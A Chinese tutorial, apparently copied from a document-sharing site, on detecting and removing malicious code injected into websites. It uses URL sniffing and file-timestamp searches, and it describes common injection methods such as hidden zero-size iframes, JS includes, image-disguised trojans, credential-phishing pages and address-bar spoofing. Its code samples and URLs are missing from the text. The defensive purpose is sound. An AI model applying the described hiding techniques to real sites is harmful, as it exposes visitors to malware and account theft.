- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
专家教你如何轻松检测与清除网站挂马（图文并茂）
【导语】本文探讨了如何通过一些工具软件来检测和清除在网站系统中的网页木马，在实际管理维护过程中还有很多本文未提及到的，例如抓包分析，通过分析原始数据包，也能获取被挂马的页面，本文算是抛砖引玉...
不完全统计，90%的网站都被挂过马，挂马是指在获取网站或者网站服务器的部分或者全部权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是一些包括IE等漏洞利用代码，用户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序，进行盗号等危险超过。
目前挂马主要是为了商业利益，有的挂马是为了赚取流量，有的是为了盗取游戏等账号，也有的是为了好玩，不管是处于那种目的，对于访问被挂马的网站来说都是一种潜在的威胁，影响运营网站公司形象。
当一个网站运营很长时间后，网站文件会非常多，手工查看网页文件代码非常困难，杀毒软件仅仅对恶意代码进行查杀，对网页木马以及挂马程序不一定全部查杀，本文就如何利用一些安全检测工具软件来检测和清除网站木马方面进行探讨，使用本文提及的工具可以很轻松的检测网站是否被挂马。
(一)检测挂马页面
1.安装urlsnooper 软件
Urlsnooper是一款URL嗅探工具，其官方主页地址为：，目前已经不提供免费下载了，可以到下载该软件。
安装非常简单，按照提示进行安装即可。
第一次使用时需要程序会自动检查网卡，查看能否正常连接网络，设置正确无误后，应该出现如图1所示的画面。
图1 安装正确后的界面
2.对网站进行侦测
在Urlsnooper中的“Protocol Filter”中选择“Show All”，然后单击“Sniff Network”按钮开始监听网络。
接着使用IE浏览器打开需要进行检测木马的网站，Urlsnooper会自动抓取网站中的所有连接，在Index中按照五位数字序号进行排列，如图2所示。
图2 监听结果
说明：
在侦测结果中可能包含的连接地址非常多，这个时候就需要进行排查，可以选中每一个记录，Urlsnooper会在下方中显示详细的监听结果，如图2所示，就发现存在一段挂马代码：
在百度搜索中对其进行搜索，如图3所示，有30多项搜索结果，从查询结果可以辅佐证明该段代码为挂马代码。
图3 搜索结果
说明：要善于运用网络搜索引擎，通过搜索可以知道目前关于该问题的描述和解决方法等。
3.对地址进行解码
该地址采用了一种编码，我对常用的这种编码值进行了整理，如下表所示，从中可以找出该代码中的真实地址为。
表1 编码对应表
4.获取该网站相关内容
可以使用Flashget的资源管理器去获取该网站的内容，如图4所示，打开Flashget下载工具，单击“工具”-“站点资源探索器”，打开站点资源探索器，在地址中输入“”，然后回车即可获取该网站的一些资源，在站点资源探索器中可以直接下载看见的文件，下载到本地进行查看。
图4 使用“站点资源探索器”获取站点资源
说明：
使用“Flashget站点资源探索器”可以很方便的获取挂马者代码地址中的一些资源，这些资源可能是挂马的真实代码，透过这些代码可以知道挂马者是采用哪个漏洞，有时候还可以获取0day。
在本例中由于时间较长，挂马者已经撤销了原来的挂马程序文件，在该网站中获取的html文件没有用处，且有些文件已经不存在了，无法对原代码文件进行分析。
5.常见的挂马代码
(1)框架嵌入式网络挂马
网页木马被攻击者利用iframe语句，加载到任意网页中都可执行的挂马形式，是最早也是最有效的的一种网络挂马技术。
通常的挂马代码如下：
解释：在打开插入该句代码的网页后，就也就打开了页面，但是由于它的长和宽都为“0”，所以很难察觉，非常具有隐蔽性。
(2)Js调用型网页挂马
js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术，如：黑客先制作一个.js文件，然后利用js代码调用到挂马的网页。
通常代码如下：
就是一个js脚本文件，通过它调用和执行木马的服务端。
这些js文件一般都可以通过工具生成，攻击者只需输入相关的选项就可以了。
(3)图片伪装挂马
随着防毒技术的发展，黑手段也不停地更新，图片木马技术逃避杀毒监视的新技术，攻击者将类似：中的木马代码植入到test.gif图片文件中，这些嵌入代码的图片都可以用工具生成，攻击者只需输入相关的选项就可以了。
图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：
注：当用户打开是，显示给用户的是，而网页代码也随之运行。
(4)网络钓鱼挂马(也称为伪装调用挂马)
网络中最常见的欺骗手段，黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页，利用社会工程学欺骗方法，引诱点击，当用户打开一个看似正常的页面时，网页代码随之运行，隐蔽性极高。
这种方式往往和欺骗用户输入某些个人隐私信息，然后窃取个人隐私相关联。
比如攻击者模仿腾讯公司设计了一个获取QQ币的页面，引诱输入QQ好和密码，如图5所示。
等用户输入完提交后，就把这些信息发送到攻击者指定的地方，如图6。
图5 伪装QQ页面
图6 获取的QQ密码
(5)伪装挂马
高级欺骗，黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术，当用户访问木马页面时地址栏显示或者等用户信任地址，其实却打开了被挂马的页面，从而实现欺骗，示例代码如：
(二)清除网站中的恶意代码(挂马代码)
1.确定挂马文件
清除网站恶意代码首先需要知道哪些文件被挂马了，判断方法有三个，方法一就是通过直接查看代码，从中找出挂马代码;方法二是通过查看网站目录修改时间，通过时间进行判断;方法三使用本文提到的软件进行直接定位，通过监听找出恶意代码。
在本案例中，网站首页是被确认挂马了，通过查看时间知道被挂马时间是8月25日左右，因此可以通过使用资源管理器中的搜索功能，初步定位时间为8月24日至26日，搜索这个时间范围修改或者产生的文件，如图7，图8所示，搜索出来几十个这个时间段的文件。
图7 搜索被修改文件
图8 搜索结果
2.清除恶意代码
可以使用记事本打开代码文件从中清除恶意代码，在清除代码时一定要注意不要使用FrontPage的预览或者设计，否则会直接访问挂马网站，感染木马程序。
建议使用记事本等文本编辑器。
在清除恶意代码过程中，发现挂马者竟然对js文件也不放过，如图9所示。
图9 对js文件进行挂马
技巧：
可以使用Frontpage中的替换功能替换当前站点中的所有指定代码。
(三)总结与回顾
本文探讨了如何通过一些工具软件来检测和清除在网站系统中的网页木马，在实际管理维护过程中还有很多本文未提及到的，例如抓包分析，通过分析原始数据包，也能获取被挂马的页面，本文算是抛砖引玉...。